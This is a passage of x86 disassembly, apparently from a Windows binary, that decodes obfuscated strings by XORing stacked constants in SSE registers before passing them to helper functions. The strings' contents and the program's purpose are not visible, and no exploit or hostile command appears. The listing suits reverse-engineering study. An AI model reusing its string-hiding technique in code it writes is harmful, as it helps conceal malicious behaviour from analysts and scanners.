mov dword [ebp - 0x64], 0x9e505806
mov eax, dword [ebp - 0x68]
mov ecx, dword [ebp - 0x64]
mov dword [ebp - 0x7c], ecx
mov dword [ebp - 0x80], eax
mov dword [ebp - 0x68], 0x6f52d70c
mov dword [ebp - 0x64], 0x8b16cdd6
mov eax, dword [ebp - 0x68]
mov ecx, dword [ebp - 0x64]
mov dword [ebp - 0x74], ecx
mov dword [ebp - 0x78], eax
mov dword [ebp - 0x68], 0x98b93b1f
mov dword [ebp - 0x64], 0xdb13194a
mov eax, dword [ebp - 0x68]
mov ecx, dword [ebp - 0x64]
mov dword [ebp - 0x68], 0x2b1e9844
mov dword [ebp - 0xc0], eax
mov dword [ebp - 0xbc], ecx
mov dword [ebp - 0x64], 0x8b169f93
mov eax, dword [ebp - 0x68]
mov ecx, dword [ebp - 0x64]
movaps xmm1, xmmword [ebp - 0x80]
mov dword [ebp - 0xb4], ecx
lea ecx, [ebp - 0x80]
mov dword [ebp - 0xb8], eax
lea edx, [ecx + 1]
xorps xmm1, xmmword [ebp - 0xc0]
movaps xmmword [ebp - 0x80], xmm1
movups xmmword [ebp - 0x98], xmm0
mov dword [ebp - 0x88], 0
mov dword [ebp - 0x84], 0
mov al, byte [ecx]
inc ecx
test al, al
jne 0x407863
sub ecx, edx
lea eax, [ebp - 0x80]
push ecx
push eax
lea ecx, [ebp - 0x98]
call fcn.0040e0d0
mov byte [ebp - 4], 7
lea ecx, [ebp - 0x2c]
cmp dword [0x506a8c], 0xf
mov eax, 0x506a78
push dword [0x506a88]
cmova eax, dword [0x506a78]
push eax
push dword [ebp - 0x88]
push edi
call fcn.0040d970
mov byte [ebp - 4], 4
mov ecx, dword [ebp - 0x84]
cmp ecx, 0xf
jbe 0x4078e7
mov edx, dword [ebp - 0x98]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x4078dd
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x407fdf
push ecx
push edx
call fcn.004431bb
add esp, 8
mov dword [ebp - 0x88], 0
mov dword [ebp - 0x84], 0xf
mov byte [ebp - 0x98], 0
mov dword [ebp - 0x68], 0xdcf06c57
lea edx, [ebp - 0x100]
mov dword [ebp - 0x64], 0x9a5f4915
mov eax, dword [ebp - 0x68]
mov ecx, dword [ebp - 0x64]
mov dword [ebp - 0xfc], ecx
mov dword [ebp - 0x100], eax
mov dword [ebp - 0x68], 0x6456dd07
mov dword [ebp - 0x64], 0xd953dbdf
mov eax, dword [ebp - 0x68]
mov ecx, dword [ebp - 0x64]
mov dword [ebp - 0xf4], ecx
mov dword [ebp - 0xf8], eax
mov dword [ebp - 0x68], 0xe6da1261
mov dword [ebp - 0x64], 0x1fe32480
mov eax, dword [ebp - 0x68]
mov ecx, dword [ebp - 0x64]
mov dword [ebp - 0xec], ecx
mov dword [ebp - 0xf0], eax
mov dword [ebp - 0x68], 0x9038f8a6
mov dword [ebp - 0x64], 0x72cb17a9
mov eax, dword [ebp - 0x68]
mov ecx, dword [ebp - 0x64]
mov dword [ebp - 0xe4], ecx
mov dword [ebp - 0xe8], eax
mov dword [ebp - 0x68], 0x98b93b1f
mov dword [ebp - 0x64], 0xdb13194a
mov eax, dword [ebp - 0x68]
mov ecx, dword [ebp - 0x64]
mov dword [ebp - 0x9c], ecx
mov dword [ebp - 0xa0], eax
mov dword [ebp - 0x68], 0x2b1e9844
mov dword [ebp - 0x64], 0x8b169f93
mov eax, dword [ebp - 0x68]
mov ecx, dword [ebp - 0x64]
mov dword [ebp - 0x94], ecx
mov dword [ebp - 0x98], eax
mov dword [ebp - 0x68], 0xe6da1261
mov dword [ebp - 0x64], 0x1fe32480
mov eax, dword [ebp - 0x68]
mov ecx, dword [ebp - 0x64]
mov dword [ebp - 0x8c], ecx
mov dword [ebp - 0x90], eax
mov dword [ebp - 0x68], 0x9038f8a6
mov dword [ebp - 0x64], 0x72cb17a9
mov eax, dword [ebp - 0x68]
mov ecx, dword [ebp - 0x64]
movaps xmm1, xmmword [ebp - 0x100]
xorps xmm1, xmmword [ebp - 0xa0]
movaps xmmword [ebp - 0x100], xmm1
movaps xmm1, xmmword [ebp - 0xf0]
mov dword [ebp - 0x84], ecx
lea ecx, [edx + 1]
mov dword [ebp - 0x88], eax
xorps xmm1, xmmword [ebp - 0x90]
movaps xmmword [ebp - 0xf0], xmm1
mov al, byte [edx]
inc edx
test al, al
jne 0x407a35
sub edx, ecx
lea eax, [ebp - 0x100]
cmp dword [ebp - 0x18], 0xf
lea ecx, [ebp - 0x2c]
push edx
cmova ecx, dword [ebp - 0x2c]
mov edx, dword [ebp - 0x1c]
push eax
push 0
call fcn.0040de70
mov esi, eax
add esp, 0xc
cmp esi, 0xffffffff
je 0x407c62
mov dword [ebp - 0x68], 0xdcf06c57
mov dword [ebp - 0x64], 0x9a5f4915
mov ecx, dword [ebp - 0x68]
mov edx, dword [ebp - 0x64]
mov dword [ebp - 0x100], ecx
mov dword [ebp - 0xfc], edx
mov dword [ebp - 0x68], 0x6456dd07
mov dword [ebp - 0x64], 0xd953dbdf
mov eax, dword [ebp - 0x68]
mov ecx, dword [ebp - 0x64]
mov dword [ebp - 0xf4], ecx
mov dword [ebp - 0xf8], eax
mov dword [ebp - 0x68], 0xe6da1261
mov dword [ebp - 0x64], 0x1fe32480
mov eax, dword [ebp - 0x68]
mov ecx, dword [ebp - 0x64]
mov dword [ebp - 0xec], ecx
mov dword [ebp - 0xf0], eax
mov dword [ebp - 0x68], 0x9038f8a6
mov dword [ebp - 0x64], 0x72cb17a9
mov eax, dword [ebp - 0x68]
mov ecx, dword [ebp - 0x64]
mov dword [ebp - 0xe4], ecx
mov dword [ebp - 0xe8], eax
mov dword [ebp - 0x68], 0x98b93b1f
mov dword [ebp - 0x64], 0xdb13194a
mov eax, dword [ebp - 0x68]
mov ecx, dword [ebp - 0x64]
mov dword [ebp - 0x9c], ecx
mov dword [ebp - 0xa0], eax
mov dword [ebp - 0x68], 0x2b1e9844
mov dword [ebp - 0x64], 0x8b169f93
mov eax, dword [ebp - 0x68]
mov ecx, dword [ebp - 0x64]
mov dword [ebp - 0x94], ecx
mov dword [ebp - 0x98], eax
mov dword [ebp - 0x68], 0xe6da1261
mov dword [ebp - 0x64], 0x1fe32480
mov eax, dword [ebp - 0x68]
mov ecx, dword [ebp - 0x64]
mov dword [ebp - 0x8c], ecx
mov dword [ebp - 0x90], eax
mov dword [ebp - 0x68], 0x9038f8a6
mov dword [ebp - 0x64], 0x72cb17a9
mov eax, dword [ebp - 0x68]
mov ecx, dword [ebp - 0x64]
movaps xmm0, xmmword [ebp - 0x100]
xorps xmm0, xmmword [ebp - 0xa0]
mov dword [ebp - 0x84], ecx
lea ecx, [ebp - 0x100]
mov dword [ebp - 0x88], eax
lea edx, [ecx + 1]
movaps xmm1, xmmword [ebp - 0x90]
xorps xmm1, xmmword [ebp - 0xf0]
movaps xmmword [ebp - 0x100], xmm0
xorps xmm0, xmm0
movaps xmmword [ebp - 0xf0], xmm1
movups xmmword [ebp - 0x98], xmm0
mov dword [ebp - 0x88], 0
mov dword [ebp - 0x84], 0
nop word [eax + eax]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x407bc0
sub ecx, edx
lea eax, [ebp - 0x100]
push ecx
push eax
lea ecx, [ebp - 0x98]
call fcn.0040e0d0
mov byte [ebp - 4], 8
lea ecx, [ebp - 0x2c]
cmp dword [0x506aa4], 0xf
mov eax, 0x506a90
push dword [0x506aa0]
cmova eax, dword [0x506a90]
push eax
push dword [ebp - 0x88]
push esi
call fcn.0040d970
mov byte [ebp - 4], 4
mov ecx, dword [ebp - 0x84]
cmp ecx, 0xf
jbe 0x407c47
mov edx, dword [ebp - 0x98]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x407c3d
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x407fdf
push ecx
push edx
call fcn.004431bb
add esp, 8
mov dword [ebp - 0x88], 0
mov dword [ebp - 0x84], 0xf
mov byte [ebp - 0x98], 0
mov dword [ebp - 0x68], 0xf4c94b7e
sub esp, 0x18
mov dword [ebp - 0x64], 0xaf727a23
mov edx, esp
mov eax, dword [ebp - 0x68]
xorps xmm0, xmm0
mov ecx, dword [ebp - 0x64]
mov dword [ebp - 0x9c], ecx
mov dword [ebp - 0xa0], eax
mov dword [ebp - 0x68], 0x470f72d
mov dword [ebp - 0x64], 0xe579ecf9
mov eax, dword [ebp - 0x68]
mov ecx, dword [ebp - 0x64]
mov dword [ebp - 0x94], ecx
mov dword [ebp - 0x98], eax
mov dword [ebp - 0x68], 0xe6da1261
mov dword [ebp - 0x64], 0x1fe32480
mov eax, dword [ebp - 0x68]
mov ecx, dword [ebp - 0x64]
mov dword [ebp - 0x8c], ecx
mov dword [ebp - 0x90], eax
mov dword [ebp - 0x68], 0x9038f8a6
mov dword [ebp - 0x64], 0x72cb17a9
mov eax, dword [ebp - 0x68]
mov ecx, dword [ebp - 0x64]
mov dword [ebp - 0x84], ecx
mov dword [ebp - 0x88], eax
mov dword [ebp - 0x68], 0x98b93b1f
mov dword [ebp - 0x64], 0xdb13194a
mov eax, dword [ebp - 0x68]
mov ecx, dword [ebp - 0x64]
mov dword [ebp - 0x68], 0x2b1e9844
mov dword [ebp - 0x64], 0x8b169f93
mov dword [ebp - 0xd0], eax
mov eax, dword [ebp - 0x68]
mov dword [ebp - 0xcc], ecx
mov ecx, dword [ebp - 0x64]
mov dword [ebp - 0x68], 0xe6da1261
mov dword [ebp - 0x64], 0x1fe32480
mov dword [ebp - 0xc8], eax
mov eax, dword [ebp - 0x68]
mov dword [ebp - 0xc4], ecx
mov ecx, dword [ebp - 0x64]
mov dword [ebp - 0x68], 0x9038f8a6
mov dword [ebp - 0xc0], eax
mov dword [ebp - 0xbc], ecx
mov dword [ebp - 0x64], 0x72cb17a9
mov eax, dword [ebp - 0x68]
mov ecx, dword [ebp - 0x64]
movaps xmm1, xmmword [ebp - 0xa0]
xorps xmm1, xmmword [ebp - 0xd0]
movaps xmmword [ebp - 0xa0], xmm1
movaps xmm1, xmmword [ebp - 0x90]
mov dword [ebp - 0xb4], ecx
lea ecx, [ebp - 0xa0]
mov dword [ebp - 0xb8], eax
lea esi, [ecx + 1]
xorps xmm1, xmmword [ebp - 0xc0]
movups xmmword [edx], xmm0
mov dword [ebp - 0xd4], esp
movaps xmmword [ebp - 0x90], xmm1
mov dword [edx + 0x10], 0
mov dword [edx + 0x14], 0
mov al, byte [ecx]
inc ecx
test al, al
jne 0x407db4
sub ecx, esi
lea eax, [ebp - 0xa0]
push ecx
push eax
mov ecx, edx
call fcn.0040e0d0
sub esp, 0x18
mov byte [ebp - 4], 9
lea eax, [ebp - 0x2c]
mov dword [ebp - 0xa4], esp
mov ecx, esp
push eax
call fcn.0040d3d0
sub esp, 0x18
mov byte [ebp - 4], 0xa
mov ecx, esp
mov dword [ebp - 0x954], esp
xorps xmm0, xmm0
push 0
movups xmmword [ecx], xmm0
push 0x4ae8dc
mov dword [ecx + 0x10], 0
mov dword [ecx + 0x14], 0
call fcn.0040e0d0
mov byte [ebp - 4], 0xb
sub esp, 0x18
mov dword [ebp - 0x68], 0xffde5473
mov edx, esp
mov dword [ebp - 0x64], 0xdb136b2f
xorps xmm0, xmm0
mov eax, dword [ebp - 0x68]
mov ecx, dword [ebp - 0x64]
mov dword [ebp - 0x7c], ecx
mov dword [ebp - 0x80], eax
mov dword [ebp - 0x68], 0x2b1e9844
mov dword [ebp - 0x64], 0x8b169f93
mov eax, dword [ebp - 0x68]
mov ecx, dword [ebp - 0x64]
mov dword [ebp - 0x74], ecx
mov dword [ebp - 0x78], eax
mov dword [ebp - 0x68], 0x98b93b1f
mov dword [ebp - 0x64], 0xdb13194a
mov eax, dword [ebp - 0x68]
mov ecx, dword [ebp - 0x64]
mov dword [ebp - 0x68], 0x2b1e9844
mov dword [ebp - 0xc0], eax
mov dword [ebp - 0xbc], ecx
mov dword [ebp - 0x64], 0x8b169f93
mov eax, dword [ebp - 0x68]
mov ecx, dword [ebp - 0x64]
movaps xmm1, xmmword [ebp - 0x80]
mov dword [ebp - 0xb4], ecx
lea ecx, [ebp - 0x80]
mov dword [ebp - 0xb8], eax
lea esi, [ecx + 1]
xorps xmm1, xmmword [ebp - 0xc0]
movups xmmword [edx], xmm0
mov dword [edx + 0x10], 0
movaps xmmword [ebp - 0x80], xmm1
mov dword [edx + 0x14], 0
nop dword [eax]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x407ec0
sub ecx, esi
lea eax, [ebp - 0x80]
push ecx
push eax
mov ecx, edx
call fcn.0040e0d0
lea eax, [ebp - 0xf8]
mov byte [ebp - 4], 4
push eax
mov ecx, 0x5069d0
call fcn.00417480
mov ecx, dword [ebp - 0xe4]
cmp ecx, 0xf
jbe 0x407f31
mov edx, dword [ebp - 0xf8]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x407f27
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
jbe 0x407f27
call dword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
sub edi, dword [ebp - 0xd4]
jmp 0x4077b3
push ecx
push edx
call fcn.004431bb
add esp, 8
mov ecx, dword [ebp - 0x18]
cmp ecx, 0xf
jbe 0x407f65
mov edx, dword [ebp - 0x2c]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x407f5b
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x407fdf
push ecx
push edx
call fcn.004431bb
add esp, 8
mov ecx, dword [ebp - 0x30]
mov dword [ebp - 0x1c], 0
mov dword [ebp - 0x18], 0xf
mov byte [ebp - 0x2c], 0
cmp ecx, 0xf
jbe 0x407fa7
mov edx, dword [ebp - 0x44]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x407f9d
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x407fdf
push ecx
push edx
call fcn.004431bb
add esp, 8
mov ecx, dword [ebp - 0x48]
mov dword [ebp - 0x34], 0
mov dword [ebp - 0x30], 0xf
mov byte [ebp - 0x44], 0
cmp ecx, 0xf
jbe 0x407fef
mov edx, dword [ebp - 0x5c]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x407fe5
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
jbe 0x407fe5
call dword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
push ecx
push edx
call fcn.004431bb
add esp, 8
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
mov ecx, dword [ebp - 0x14]
xor ecx, ebp
call fcn.0044317d
mov esp, ebp
pop ebp
mov esp, ebx
pop ebx
ret